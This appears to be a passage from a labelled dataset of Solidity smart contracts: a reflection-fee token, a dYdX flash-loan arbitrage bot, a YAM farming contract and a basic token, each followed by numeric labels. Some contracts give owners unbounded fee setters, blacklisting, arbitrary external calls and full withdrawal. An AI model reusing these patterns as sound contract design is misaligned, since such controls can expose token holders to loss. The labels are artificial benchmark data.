returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function isRemovedSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function _removeSniper(address account) external onlyOwner {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
'We can not blacklist Uniswap'
);
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function _amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner {
_feeRate = rate;
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
} | 0 | 117 |
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
interface Structs {
struct Val {
uint256 value;
}
enum ActionType {
Deposit,
Withdraw,
Transfer,
Buy,
Sell,
Trade,
Liquidate,
Vaporize,
Call
}
enum AssetDenomination {
Wei
}
enum AssetReference {
Delta
}
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Info {
address owner;
uint256 number;
}
struct Wei {
bool sign;
uint256 value;
}
}
contract DyDxPool is Structs {
function getAccountWei(Info memory account, uint256 marketId) public view returns (Wei memory);
function operate(Info[] memory, ActionArgs[] memory) public;
}
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.17;
contract DyDxFlashLoan is Structs {
DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e);
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public SAI = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
mapping(address => uint256) public currencies;
constructor() public {
currencies[WETH] = 1;
currencies[SAI] = 2;
currencies[USDC] = 3;
currencies[DAI] = 4;
}
modifier onlyPool() {
require(
msg.sender == address(pool),
"FlashLoan: could be called by DyDx pool only"
);
_;
}
function tokenToMarketId(address token) public view returns (uint256) {
uint256 marketId = currencies[token];
require(marketId != 0, "FlashLoan: Unsupported token");
return marketId - 1;
}
function flashloan(address token, uint256 amount, bytes memory data)
internal
{
IERC20(token).approve(address(pool), amount + 1);
Info[] memory infos = new Info[](1);
ActionArgs[] memory args = new ActionArgs[](3);
infos[0] = Info(address(this), 0);
AssetAmount memory wamt = AssetAmount(
false,
AssetDenomination.Wei,
AssetReference.Delta,
amount
);
ActionArgs memory withdraw;
withdraw.actionType = ActionType.Withdraw;
withdraw.accountId = 0;
withdraw.amount = wamt;
withdraw.primaryMarketId = tokenToMarketId(token);
withdraw.otherAddress = address(this);
args[0] = withdraw;
ActionArgs memory call;
call.actionType = ActionType.Call;
call.accountId = 0;
call.otherAddress = address(this);
call.data = data;
args[1] = call;
ActionArgs memory deposit;
AssetAmount memory damt = AssetAmount(
true,
AssetDenomination.Wei,
AssetReference.Delta,
amount + 1
);
deposit.actionType = ActionType.Deposit;
deposit.accountId = 0;
deposit.amount = damt;
deposit.primaryMarketId = tokenToMarketId(token);
deposit.otherAddress = address(this);
args[2] = deposit;
pool.operate(infos, args);
}
}
pragma solidity ^0.5.17;
contract IOneSplit {
function getExpectedReturn(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 parts,
uint256 disableFlags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 disableFlags
) public payable;
}
contract TradingBot is DyDxFlashLoan {
uint256 public loan;
address payable OWNER;
address ONE_SPLIT_ADDRESS = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E;
uint256 PARTS = 10;
uint256 FLAGS = 0;
address ZRX_EXCHANGE_ADDRESS = 0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef;
address ZRX_ERC20_PROXY_ADDRESS = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF;
address ZRX_STAKING_PROXY = 0xa26e80e7Dea86279c6d778D702Cc413E6CFfA777;
modifier onlyOwner() {
require(msg.sender == OWNER, "caller is not the owner!");
_;
}
function () external payable {}
constructor() public payable {
_getWeth(msg.value);
_approveWeth(msg.value);
OWNER = msg.sender;
}
function getFlashloan(address flashToken, uint256 flashAmount, address arbToken, bytes calldata zrxData, uint256 oneSplitMinReturn, uint256[] calldata oneSplitDistribution) external payable onlyOwner {
uint256 balanceBefore = IERC20(flashToken).balanceOf(address(this));
bytes memory data = abi.encode(flashToken, flashAmount, balanceBefore, arbToken, zrxData, oneSplitMinReturn, oneSplitDistribution);
flashloan(flashToken, flashAmount, data);
}
function callFunction(
address,
Info calldata,
bytes calldata data
) external onlyPool {
(address flashToken, uint256 flashAmount, uint256 balanceBefore, address arbToken, bytes memory zrxData, uint256 oneSplitMinReturn, uint256[] memory oneSplitDistribution) = abi
.decode(data, (address, uint256, uint256, address, bytes, uint256, uint256[]));
uint256 balanceAfter = IERC20(flashToken).balanceOf(address(this));
require(
balanceAfter - balanceBefore == flashAmount,
"contract did not get the loan"
);
loan = balanceAfter;
_arb(flashToken, arbToken, flashAmount, zrxData, oneSplitMinReturn, oneSplitDistribution);
}
function arb(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) onlyOwner payable public {
_arb(_fromToken, _toToken, _fromAmount, _0xData, _1SplitMinReturn, _1SplitDistribution);
}
function _arb(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) internal {
uint256 _startBalance = IERC20(_fromToken).balanceOf(address(this));
_trade(_fromToken, _toToken, _fromAmount, _0xData, _1SplitMinReturn, _1SplitDistribution);
uint256 _endBalance = IERC20(_fromToken).balanceOf(address(this));
require(_endBalance > _startBalance, "End balance must exceed start balance.");
}
function trade(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) onlyOwner payable public {
_trade(_fromToken, _toToken, _fromAmount, _0xData, _1SplitMinReturn, _1SplitDistribution);
}
function _trade(address _fromToken, address _toToken, uint256 _fromAmount, bytes memory _0xData, uint256 _1SplitMinReturn, uint256[] memory _1SplitDistribution) internal {
uint256 _beforeBalance = IERC20(_toToken).balanceOf(address(this));
_zrxSwap(_fromToken, _fromAmount, _0xData);
uint256 _afterBalance = IERC20(_toToken).balanceOf(address(this));
uint256 _toAmount = _afterBalance - _beforeBalance;
_oneSplitSwap(_toToken, _fromToken, _toAmount, _1SplitMinReturn, _1SplitDistribution);
}
function zrxSwap(address _from, uint256 _amount, bytes memory _calldataHexString) onlyOwner public payable {
_zrxSwap(_from, _amount, _calldataHexString);
}
function _zrxSwap(address _from, uint256 _amount, bytes memory _calldataHexString) internal {
IERC20 _fromIERC20 = IERC20(_from);
_fromIERC20.approve(ZRX_ERC20_PROXY_ADDRESS, _amount);
address(ZRX_EXCHANGE_ADDRESS).call.value(msg.value)(_calldataHexString);
_fromIERC20.approve(ZRX_ERC20_PROXY_ADDRESS, 0);
}
function oneSplitSwap(address _from, address _to, uint256 _amount, uint256 _minReturn, uint256[] memory _distribution) onlyOwner public payable {
_oneSplitSwap(_from, _to, _amount, _minReturn, _distribution);
}
function _oneSplitSwap(address _from, address _to, uint256 _amount, uint256 _minReturn, uint256[] memory _distribution) internal {
IERC20 _fromIERC20 = IERC20(_from);
IERC20 _toIERC20 = IERC20(_to);
IOneSplit _oneSplitContract = IOneSplit(ONE_SPLIT_ADDRESS);
_fromIERC20.approve(ONE_SPLIT_ADDRESS, _amount);
_oneSplitContract.swap(_fromIERC20, _toIERC20, _amount, _minReturn, _distribution, FLAGS);
_fromIERC20.approve(ONE_SPLIT_ADDRESS, 0);
}
function getWeth() public payable onlyOwner {
_getWeth(msg.value);
}
function _getWeth(uint256 _amount) internal {
(bool success, ) = WETH.call.value(_amount)("");
require(success, "failed to get weth");
}
function approveWeth(uint256 _amount) public onlyOwner {
_approveWeth(_amount);
}
function _approveWeth(uint256 _amount) internal {
IERC20(WETH).approve(ZRX_STAKING_PROXY, _amount);
}
function withdrawToken(address _tokenAddress) public onlyOwner {
uint256 balance = IERC20(_tokenAddress).balanceOf(address(this));
IERC20(_tokenAddress).transfer(OWNER, balance);
}
function withdrawEther() public onlyOwner {
address self = address(this);
uint256 balance = self.balance;
address(OWNER).transfer(balance);
}
} | 0 | 645 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token1,
address token0_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve0, reserve1);
uint256 amount_token0 = quoted.mul(amount_token1).div(ONE);
token0.transferFrom(token0_source, address(uniswap_pair), amount_token0);
token1.transfer(address(uniswap_pair), amount_token1);
IUniswapV2Pair(uniswap_pair).mint(address(this));
}
function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
IUniswapV2Pair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (isToken0) {
priceCumulative = IUniswapV2Pair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = IUniswapV2Pair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUSTONKSSEPT {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
IUniswapV2Pair internal uniswap_pair =
IUniswapV2Pair(0xb9292B40cab08e5208b863ea9c4c4927a2308eEE);
IERC20 internal constant USDC =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 internal constant SEPT_USTONKS =
IERC20(0xad4353347f05438Ace12aef7AceF6CB2b4186C00);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
false
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
false
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell =
uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract USTONKSSEPTFarming is TWAPBoundedUSTONKSSEPT, UniHelper, YamSubGoverned {
enum ACTION {
ENTER,
EXIT
}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter =
SynthMinter(0x799c9518Ea434bBdA03d4C0EAa58d644b768d3aB);
bool completed = true;
ACTION action;
address internal constant RESERVES =
address(0x97990B693835da58A281636296D2Bf02787DEa17);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
USDC.transferFrom(RESERVES, address(this), collateral_amount);
USDC.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
SEPT_USTONKS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 ustonksBalance = SEPT_USTONKS.balanceOf(address(this));
if (ustonksBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - ustonksBalance <=
1 * (10**6)
? position.tokensOutstanding.rawValue - 1 * (10**6)
: ustonksBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 ustonksReserves;
uint256 usdcReserves;
(usdcReserves, ustonksReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(usdcReserves, ustonksReserves),
"Market rate is outside bounds"
);
uint256 usdcBalance = 1000000 * (10**6);
uint256 collateral_amount = (usdcBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * ustonksReserves) /
usdcReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, USDC, SEPT_USTONKS, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 ustonksReserves;
uint256 usdcReserves;
(usdcReserves,ustonksReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(usdcReserves, ustonksReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
USDC.transfer(RESERVES, USDC.balanceOf(address(this)));
uint256 ustonksBalance = SEPT_USTONKS.balanceOf(address(this));
if (ustonksBalance > 0) {
SEPT_USTONKS.transfer(RESERVES, ustonksBalance);
}
completed = true;
}
function _approveEnter() public onlyGovOrSubGov {
completed = false;
action = ACTION.ENTER;
}
function _approveExit() public onlyGovOrSubGov {
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay) public onlyGovOrSubGov {
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired() public onlyGovOrSubGov {
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token) public onlyGovOrSubGov {
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 0 | 3 |
pragma solidity ^0.4.21;
contract StandardToken {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply;
}
contract MintableToken is StandardToken {
address public owner;
bool public isMinted = false;
function mint(address _to) public {
assert(msg.sender == owner && !isMinted);
balances[_to] = totalSupply;
isMinted = true;
}
}
contract SafeNetToken is MintableToken {
string public name = 'SafeNet Token';
string public symbol = 'SNT';
uint8 public decimals = 18;
function SafeNetToken(uint _totalSupply) public {
owner = msg.sender;
totalSupply = _totalSupply;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
